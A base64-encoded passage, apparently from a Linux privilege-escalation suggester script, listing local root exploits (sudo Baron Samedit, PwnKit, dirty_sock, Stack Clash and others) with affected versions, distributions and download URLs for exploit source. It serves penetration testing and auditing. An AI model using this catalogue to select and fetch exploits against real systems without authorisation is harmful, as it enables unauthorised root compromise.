dy5leGltLm9yZy9zdGF0aWMvZG9jL0NWRS0yMDE2LTE1MzEudHh0CmV4cGxvaXQtZGI6IDM5NTM1CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTQ5ODldJHt0eHRyc3R9IHNldHJvdWJsZXNob290IDIKUmVxczogcGtnPXNldHJvdWJsZXNob290ClRhZ3M6IFJIRUw9Nnw3ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2Mtc2tpbGxzLmJsb2dzcG90LmNvbS8yMDE2LzA2L2xldHMtZmVlZC1hdHRhY2tlci1pbnB1dC10by1zaC1jLXRvLXNlZS5odG1sCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9zdGVhbHRoL3Ryb3VibGVzaG9vdGVyL3Jhdy9tYXN0ZXIvc3RyYWlnaHQtc2hvb3Rlci5jCmV4cGxvaXQtZGI6CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTU0MjVdJHt0eHRyc3R9IHRvbWNhdC1SSC1yb290LnNoClJlcXM6IHBrZz10b21jYXQKVGFnczogUkhFTD03ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL1RvbWNhdC1SZWRIYXQtUGtncy1Sb290LVByaXZFc2MtRXhwbG9pdC1DVkUtMjAxNi01NDI1Lmh0bWwKc3JjLXVybDogaHR0cDovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvdG9tY2F0LVJILXJvb3Quc2gKZXhwbG9pdC1kYjogNDA0ODgKYXV0aG9yOiBEYXdpZCBHb2x1bnNraQpDb21tZW50czogQWZmZWN0cyBvbmx5IFJlZEhhdC1iYXNlZCBkaXN0cm9zCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTY2NjMsQ1ZFLTIwMTYtNjY2NHxDVkUtMjAxNi02NjYyXSR7dHh0cnN0fSBteXNxbC1leHBsb2l0LWNoYWluClJlcXM6IHBrZz1teXNxbC1zZXJ2ZXJ8bWFyaWFkYi1zZXJ2ZXIsdmVyPDUuNS41MgpUYWdzOiB1YnVudHU9MTYuMDQuMQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvTXlTUUwtTWFyaWEtUGVyY29uYS1Qcml2RXNjUmFjZS1DVkUtMjAxNi02NjYzLTU2MTYtRXhwbG9pdC5odG1sCnNyYy11cmw6IGh0dHA6Ly9sZWdhbGhhY2tlcnMuY29tL2V4cGxvaXRzL0NWRS0yMDE2LTY2NjMvbXlzcWwtcHJpdmVzYy1yYWNlLmMKZXhwbG9pdC1kYjogNDA2NzgKYXV0aG9yOiBEYXdpZCBHb2x1bnNraQpDb21tZW50czogQWxzbyBNYXJpYURCIHZlcjwxMC4xLjE4IGFuZCB2ZXI8MTAuMC4yOCBhZmZlY3RlZApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi05NTY2XSR7dHh0cnN0fSBuYWdpb3Mtcm9vdC1wcml2ZXNjClJlcXM6IHBrZz1uYWdpb3MsdmVyPDQuMi40ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9OYWdpb3MtRXhwbG9pdC1Sb290LVByaXZFc2MtQ1ZFLTIwMTYtOTU2Ni5odG1sCnNyYy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy9DVkUtMjAxNi05NTY2L25hZ2lvcy1yb290LXByaXZlc2Muc2gKZXhwbG9pdC1kYjogNDA5MjEKYXV0aG9yOiBEYXdpZCBHb2x1bnNraQpDb21tZW50czogQWxsb3dzIHByaXYgZXNjYWxhdGlvbiBmcm9tIG5hZ2lvcyB1c2VyIG9yIG5hZ2lvcyBncm91cApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0wMzU4XSR7dHh0cnN0fSBudGZzLTNnLW1vZHByb2JlClJlcXM6IHBrZz1udGZzLTNnLHZlcjwyMDE3LjQKVGFnczogdWJ1bnR1PTE2LjA0e250ZnMtM2c6MjAxNS4zLjE0QVIuMS0xYnVpbGQxfSxkZWJpYW49Ny4we250ZnMtM2c6MjAxMi4xLjE1QVIuNS0yLjErZGViN3UyfSxkZWJpYW49OC4we250ZnMtM2c6MjAxNC4yLjE1QVIuMi0xK2RlYjh1Mn0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYnVncy5jaHJvbWl1bS5vcmcvcC9wcm9qZWN0LXplcm8vaXNzdWVzL2RldGFpbD9pZD0xMDcyCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzQxMzU2LnppcApleHBsb2l0LWRiOiA0MTM1NgphdXRob3I6IEphbm4gSG9ybgpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4gTGludXggaGVhZGVycyBtdXN0IGJlIGluc3RhbGxlZC4gU3lzdGVtIG11c3QgaGF2ZSBhdCBsZWFzdCB0d28gQ1BVIGNvcmVzLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy01ODk5XSR7dHh0cnN0fSBzLW5haWwtcHJpdmdldApSZXFzOiBwa2c9cy1uYWlsLHZlcjwxNC44LjE2ClRhZ3M6IHVidW50dT0xNi4wNCxtYW5qYXJvPTE2LjEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDEvMjcvNwpzcmMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDEvMjcvNy8xCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMvbG9jYWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE3LTU4OTkvZXhwbG9pdC5zaAphdXRob3I6IHdhcGlmbGFwaSAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IEJyZW5kYW4gQ29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkNvbW1lbnRzOiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY3XSR7dHh0cnN0fSBTdWRvZXItdG8tcm9vdApSZXFzOiBwa2c9c3Vkbyx2ZXI8PTEuOC4yMCxjbWQ6WyAtZiAvdXNyL3NiaW4vZ2V0ZW5mb3JjZSBdClRhZ3M6IFJIRUw9N3tzdWRvOjEuOC42cDd9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5zdWRvLndzL2FsZXJ0cy9saW51eF90dHkuaHRtbApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDUvMzAvY3ZlLTIwMTctMTAwMDM2Ny9saW51eF9zdWRvX2N2ZS0yMDE3LTEwMDAzNjcuYwpleHBsb2l0LWRiOiA0MjE4MwphdXRob3I6IFF1YWx5cwpDb21tZW50czogTmVlZHMgdG8gYmUgc3Vkb2VyLiBXb3JrcyBvbmx5IG9uIFNFTGludXggZW5hYmxlZCBzeXN0ZW1zCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAzNjddJHt0eHRyc3R9IHN1ZG9wd24KUmVxczogcGtnPXN1ZG8sdmVyPD0xLjguMjAsY21kOlsgLWYgL3Vzci9zYmluL2dldGVuZm9yY2UgXQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuc3Vkby53cy9hbGVydHMvbGludXhfdHR5Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2MwZDN6M3IwL3N1ZG8tQ1ZFLTIwMTctMTAwMDM2Ny9tYXN0ZXIvc3Vkb3B3bi5jCmV4cGxvaXQtZGI6CmF1dGhvcjogYzBkM3ozcjAKQ29tbWVudHM6IE5lZWRzIHRvIGJlIHN1ZG9lci4gV29ya3Mgb25seSBvbiBTRUxpbnV4IGVuYWJsZWQgc3lzdGVtcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY2LENWRS0yMDE3LTEwMDAzNzBdJHt0eHRyc3R9IGxpbnV4X2xkc29faHdjYXAKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODYKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X2xkc29faHdjYXAuYwpleHBsb2l0LWRiOiA0MjI3NAphdXRob3I6IFF1YWx5cwpDb21tZW50czogVXNlcyAiU3RhY2sgQ2xhc2giIHRlY2huaXF1ZSwgd29ya3MgYWdhaW5zdCBtb3N0IFNVSUQtcm9vdCBiaW5hcmllcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY2LENWRS0yMDE3LTEwMDAzNzFdJHt0eHRyc3R9IGxpbnV4X2xkc29fZHluYW1pYwpSZXFzOiBwa2c9Z2xpYmN8bGliYzYsdmVyPD0yLjI1LHg4NgpUYWdzOiBkZWJpYW49OXwxMCx1YnVudHU9MTQuMDQuNXwxNi4wNC4yfDE3LjA0LGZlZG9yYT0yM3wyNHwyNQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL3N0YWNrLWNsYXNoLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvbGludXhfbGRzb19keW5hbWljLmMKZXhwbG9pdC1kYjogNDIyNzYKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IFVzZXMgIlN0YWNrIENsYXNoIiB0ZWNobmlxdWUsIHdvcmtzIGFnYWluc3QgbW9zdCBTVUlELXJvb3QgUElFcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY2LENWRS0yMDE3LTEwMDAzNzldJHt0eHRyc3R9IGxpbnV4X2xkc29faHdjYXBfNjQKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODZfNjQKVGFnczogZGViaWFuPTcuN3w4LjV8OS4wLHVidW50dT0xNC4wNC4yfDE2LjA0LjJ8MTcuMDQsZmVkb3JhPTIyfDI1LGNlbnRvcz03LjMuMTYxMQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL3N0YWNrLWNsYXNoLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvbGludXhfbGRzb19od2NhcF82NC5jCmV4cGxvaXQtZGI6IDQyMjc1CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOiBVc2VzICJTdGFjayBDbGFzaCIgdGVjaG5pcXVlLCB3b3JrcyBhZ2FpbnN0IG1vc3QgU1VJRC1yb290IGJpbmFyaWVzCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAzNzAsQ1ZFLTIwMTctMTAwMDM3MV0ke3R4dHJzdH0gbGludXhfb2Zmc2V0MmxpYgpSZXFzOiBwa2c9Z2xpYmN8bGliYzYsdmVyPD0yLjI1LHg4NgpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL3N0YWNrLWNsYXNoLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvbGludXhfb2Zmc2V0MmxpYi5jCmV4cGxvaXQtZGI6IDQyMjczCmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOiBVc2VzICJTdGFjayBDbGFzaCIgdGVjaG5pcXVlCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTEwMDAwMDFdJHt0eHRyc3R9IFJhdGlvbmFsTG92ZQpSZXFzOiBwa2c9Z2xpYmN8bGliYzYsdmVyPDIuMjcsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEseDg2XzY0ClRhZ3M6IGRlYmlhbj05e2xpYmM2OjIuMjQtMTErZGViOXUxfSx1YnVudHU9MTYuMDQuM3tsaWJjNjoyLjIzLTB1YnVudHU5fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuaGFsZmRvZy5uZXQvU2VjdXJpdHkvMjAxNy9MaWJjUmVhbHBhdGhCdWZmZXJVbmRlcmZsb3cvCnNyYy11cmw6IGh0dHBzOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTcvTGliY1JlYWxwYXRoQnVmZmVyVW5kZXJmbG93L1JhdGlvbmFsTG92ZS5jCkNvbW1lbnRzOiBrZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT0xIHJlcXVpcmVkCmJpbi11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yYXBpZDcvbWV0YXNwbG9pdC1mcmFtZXdvcmsvbWFzdGVyL2RhdGEvZXhwbG9pdHMvY3ZlLTIwMTgtMTAwMDAwMS9SYXRpb25hbExvdmUKZXhwbG9pdC1kYjogNDM3NzUKYXV0aG9yOiBoYWxmZG9nCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTEwOTAwXSR7dHh0cnN0fSB2cG5jX3ByaXZlc2MucHkKUmVxczogcGtnPW5ldHdvcmttYW5hZ2VyLXZwbmN8bmV0d29yay1tYW5hZ2VyLXZwbmMsdmVyPDEuMi42ClRhZ3M6IHVidW50dT0xNi4wNHtuZXR3b3JrLW1hbmFnZXItdnBuYzoxLjEuOTMtMX0sZGViaWFuPTkuMHtuZXR3b3JrLW1hbmFnZXItdnBuYzoxLjIuNC00fSxtYW5qYXJvPTE3ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3B1bHNlc2VjdXJpdHkuY28ubnovYWR2aXNvcmllcy9OTS1WUE5DLVByaXZlc2MKc3JjLXVybDogaHR0cHM6Ly9idWd6aWxsYS5ub3ZlbGwuY29tL2F0dGFjaG1lbnQuY2dpP2lkPTc3OTExMApleHBsb2l0LWRiOiA0NTMxMwphdXRob3I6IERlbmlzIEFuZHpha292aWMKQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTE0NjY1XSR7dHh0cnN0fSByYXB0b3JfeG9yZ3kKUmVxczogcGtnPXhvcmcteDExLXNlcnZlci1Yb3JnLGNtZDpbIC11IC91c3IvYmluL1hvcmcgXQpUYWdzOiBjZW50b3M9Ny40ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5zZWN1cmVwYXR0ZXJucy5jb20vMjAxOC8xMC9jdmUtMjAxOC0xNDY2NS14b3JnLXgtc2VydmVyLmh0bWwKZXhwbG9pdC1kYjogNDU5MjIKYXV0aG9yOiByYXB0b3IKQ29tbWVudHM6IFguT3JnIFNlcnZlciBiZWZvcmUgMS4yMC4zIGlzIHZ1bG5lcmFibGUuIERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE5LTczMDRdJHt0eHRyc3R9IGRpcnR5X3NvY2sKUmVxczogcGtnPXNuYXBkLHZlcjwyLjM3LGNtZDpbIC1TIC9ydW4vc25hcGQuc29ja2V0IF0KVGFnczogdWJ1bnR1PTE4LjEwLG1pbnQ9MTkKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vaW5pdGJsb2cuY29tLzIwMTkvZGlydHktc29jay8KZXhwbG9pdC1kYjogNDYzNjEKZXhwbG9pdC1kYjogNDYzNjIKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2luaXRzdHJpbmcvZGlydHlfc29jay9hcmNoaXZlL21hc3Rlci56aXAKYXV0aG9yOiBJbml0U3RyaW5nCkNvbW1lbnRzOiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xMDE0OV0ke3R4dHJzdH0gcmFwdG9yX2V4aW1fd2l6ClJlcXM6IHBrZz1leGltfGV4aW00LHZlcj49NC44Nyx2ZXI8PTQuOTEKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxOS8wNi8wNS9jdmUtMjAxOS0xMDE0OS9yZXR1cm4td2l6YXJkLXJjZS1leGltLnR4dApleHBsb2l0LWRiOiA0Njk5NgphdXRob3I6IHJhcHRvcgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xMjE4MV0ke3R4dHJzdH0gU2Vydi1VIEZUUCBTZXJ2ZXIKUmVxczogY21kOlsgLXUgL3Vzci9sb2NhbC9TZXJ2LVUvU2Vydi1VIF0KVGFnczogZGViaWFuPTkKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy52YXN0YXJ0LmRldi8yMDE5LzA2L2N2ZS0yMDE5LTEyMTgxLXNlcnYtdS1leHBsb2l0LXdyaXRldXAuaHRtbApleHBsb2l0LWRiOiA0NzAwOQpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vZ3V5d2hhdGFndXkvQ1ZFLTIwMTktMTIxODEvbWFzdGVyL3NlcnZ1LXBlLWN2ZS0yMDE5LTEyMTgxLmMKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTktMTIxODEvU1Vyb290CmF1dGhvcjogR3V5IExldmluIChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgQnJlbmRhbiBDb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKQ29tbWVudHM6IE1vZGlmaWVkIHZlcnNpb24gYXQgJ2V4dC11cmwnIHVzZXMgYmFzaCBleGVjIHRlY2huaXF1ZSwgcmF0aGVyIHRoYW4gY29tcGlsaW5nIHdpdGggZ2NjLgpFT0YKKQpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE5LTE4ODYyXSR7dHh0cnN0fSBHTlUgTWFpbHV0aWxzIDIuMCA8PSAzLjcgbWFpZGFnIHVybCBsb2NhbCByb290IChDVkUtMjAxOS0xODg2MikKUmVxczogY21kOlsgLXUgL3Vzci9sb2NhbC9zYmluL21haWRhZyBdClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cubWlrZS1ndWFsdGllcmkuY29tL3Bvc3RzL2ZpbmRpbmctYS1kZWNhZGUtb2xkLWZsYXctaW4tZ251LW1haWx1dGlscwpleHQtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL3Jhdy9tYXN0ZXIvQ1ZFLTIwMTktMTg4NjIvZXhwbG9pdC5jcm9uLnNoCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9iY29sZXMvbG9jYWwtZXhwbG9pdHMvcmF3L21hc3Rlci9DVkUtMjAxOS0xODg2Mi9leHBsb2l0LmxkcHJlbG9hZC5zaAphdXRob3I6IGJjb2xlcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xODYzNF0ke3R4dHJzdH0gc3VkbyBwd2ZlZWRiYWNrClJlcXM6IHBrZz1zdWRvLHZlcjwxLjguMzEKVGFnczogbWludD0xOQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9keWxhbmthdHouY29tL0FuYWx5c2lzLW9mLUNWRS0yMDE5LTE4NjM0LwpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vc2FsZWVtcmFzaGlkL3N1ZG8tY3ZlLTIwMTktMTg2MzQvcmF3L21hc3Rlci9leHBsb2l0LmMKYXV0aG9yOiBzYWxlZW1yYXNoaWQKQ29tbWVudHM6IHN1ZG8gY29uZmlndXJhdGlvbiByZXF1aXJlcyBwd2ZlZWRiYWNrIHRvIGJlIGVuYWJsZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIwLTk0NzBdJHt0eHRyc3R9IFdpbmcgRlRQIFNlcnZlciA8PSA2LjIuNSBMUEUKUmVxczogY21kOlsgLXggL2V0Yy9pbml0LmQvd2Z0cHNlcnZlciBdClRhZ3M6IHVidW50dT0xOApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuaG9vcGVybGFicy54eXovZGlzY2xvc3VyZXMvY3ZlLTIwMjAtOTQ3MC5waHAKc3JjLXVybDogaHR0cHM6Ly93d3cuaG9vcGVybGFicy54eXovZGlzY2xvc3VyZXMvY3ZlLTIwMjAtOTQ3MC5zaApleHBsb2l0LWRiOiA0ODE1NAphdXRob3I6IENhcnkgQ29vcGVyCkNvbW1lbnRzOiBSZXF1aXJlcyBhbiBhZG1pbmlzdHJhdG9yIHRvIGxvZ2luIHZpYSB0aGUgd2ViIGludGVyZmFjZS4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMzE1Nl0ke3R4dHJzdH0gc3VkbyBCYXJvbiBTYW1lZGl0ClJlcXM6IHBrZz1zdWRvLHZlcjwxLjkuNXAyClRhZ3M6IG1pbnQ9MTksdWJ1bnR1PTE4fDIwLCBkZWJpYW49MTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAyMS8wMS8yNi9jdmUtMjAyMS0zMTU2L2Jhcm9uLXNhbWVkaXQtaGVhcC1iYXNlZC1vdmVyZmxvdy1zdWRvLnR4dApzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vYmxhc3R5L0NWRS0yMDIxLTMxNTYvemlwL21haW4KYXV0aG9yOiBibGFzdHkKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMzE1Nl0ke3R4dHJzdH0gc3VkbyBCYXJvbiBTYW1lZGl0IDIKUmVxczogcGtnPXN1ZG8sdmVyPDEuOS41cDIKVGFnczogY2VudG9zPTZ8N3w4LHVidW50dT0xNHwxNnwxN3wxOHwxOXwyMCwgZGViaWFuPTl8MTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAyMS8wMS8yNi9jdmUtMjAyMS0zMTU2L2Jhcm9uLXNhbWVkaXQtaGVhcC1iYXNlZC1vdmVyZmxvdy1zdWRvLnR4dApzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vd29yYXdpdC9DVkUtMjAyMS0zMTU2L3ppcC9tYWluCmF1dGhvcjogd29yYXdpdApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy01NjE4XSR7dHh0cnN0fSBzZXR1aWQgc2NyZWVuIHY0LjUuMCBMUEUKUmVxczogcGtnPXNjcmVlbix2ZXI9PTQuNS4wClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE3L3ExLzE4NApleHBsb2l0LWRiOiBodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy80MTE1NApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS00MDM0XSR7dHh0cnN0fSBQd25LaXQKUmVxczogcGtnPXBvbGtpdHxwb2xpY3lraXQtMSx2ZXI8PTAuMTA1LTMxClRhZ3M6IHVidW50dT0xMHwxMXwxMnwxM3wxNHwxNXwxNnwxN3wxOHwxOXwyMHwyMSxkZWJpYW49N3w4fDl8MTB8MTEsZmVkb3JhLG1hbmphcm8KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAyMi8wMS8yNS9jdmUtMjAyMS00MDM0L3B3bmtpdC50eHQKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL2JlcmRhdi9DVkUtMjAyMS00MDM0L3ppcC9tYWluCmF1dGhvcjogYmVyZGF2CkVPRgopCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyBzZWN1cml0eSByZWxhdGVkIEhXL2tlcm5lbCBmZWF0dXJlcwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpuPTAKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IE1haW5saW5lIGtlcm5lbCBwcm90ZWN0aW9uIG1lY2hhbmlzbXM6CkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBLZXJuZWwgUGFnZSBUYWJsZSBJc29sYXRpb24gKFBUSSkgc3VwcG9ydAphdmFpbGFibGU6IHZlcj49NC4xNQplbmFibGVkOiBjbWQ6Z3JlcCAtRXFpICdcc3B0aScgL3Byb2MvY3B1aW5mbwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvb